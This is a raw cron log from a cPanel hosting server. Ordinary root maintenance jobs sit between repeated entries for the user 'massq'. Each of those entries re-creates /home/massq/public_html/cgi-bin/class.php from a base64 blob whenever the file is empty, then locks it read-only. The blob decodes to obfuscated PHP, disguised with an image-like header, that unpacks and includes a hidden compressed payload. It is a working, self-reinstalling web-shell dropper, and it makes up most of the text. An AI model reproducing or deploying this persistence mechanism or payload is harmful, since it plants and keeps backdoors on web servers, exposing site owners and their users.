Sep 10 04:22:01 server CROND[19493]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 04:22:01 server CROND[19492]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 04:22:01 server CROND[19494]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 04:23:01 server CROND[19858]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 04:23:01 server CROND[19859]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 04:23:01 server CROND[19860]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 04:24:01 server CROND[20334]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 04:24:01 server CROND[20335]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 04:24:01 server CROND[20336]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 04:25:01 server CROND[20716]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 04:25:01 server CROND[20718]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 04:25:01 server CROND[20721]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore >/dev/null 2>&1)
Sep 10 04:25:01 server CROND[20722]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 04:25:01 server CROND[20724]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 04:25:01 server CROND[20725]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 04:25:01 server CROND[20723]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 10 04:25:01 server CROND[20720]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 10 04:26:01 server CROND[21653]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 04:26:01 server CROND[21654]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 04:26:01 server CROND[21655]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 04:27:01 server CROND[22038]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 04:27:01 server CROND[22037]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 10 04:27:01 server CROND[22040]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 04:27:01 server CROND[22039]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 04:28:01 server CROND[22447]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 04:28:01 server CROND[22448]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 04:28:01 server CROND[22449]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 04:29:01 server CROND[23080]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 04:29:01 server CROND[23079]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 04:29:01 server CROND[23081]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 04:30:01 server CROND[23467]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 10 04:30:01 server CROND[23469]: (mailman) CMD (/usr/local/cpanel/scripts/restartsrv_mailman --status &> /dev/null && /usr/local/cpanel/3rdparty/bin/python2 -S /usr/local/cpanel/3rdparty/mailman/cron/cull_bad_shunt)
Sep 10 04:30:01 server CROND[23486]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 10 04:30:01 server CROND[23491]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 10 04:30:01 server CROND[23492]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/scripts/update_db_cache && /usr/local/cpanel/scripts/update_db_cache)
Sep 10 04:30:01 server CROND[23496]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 04:30:01 server CROND[23494]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 04:30:01 server CROND[23497]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 04:30:01 server CROND[23493]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 04:30:01 server CROND[23483]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 04:31:01 server CROND[24307]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 04:31:01 server CROND[24308]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 04:31:01 server CROND[24309]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 04:32:01 server CROND[24684]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 04:32:01 server CROND[24685]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 04:32:01 server CROND[24686]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 04:33:01 server CROND[25076]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 04:33:01 server CROND[25077]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 04:33:01 server CROND[25078]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 04:34:01 server CROND[25447]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
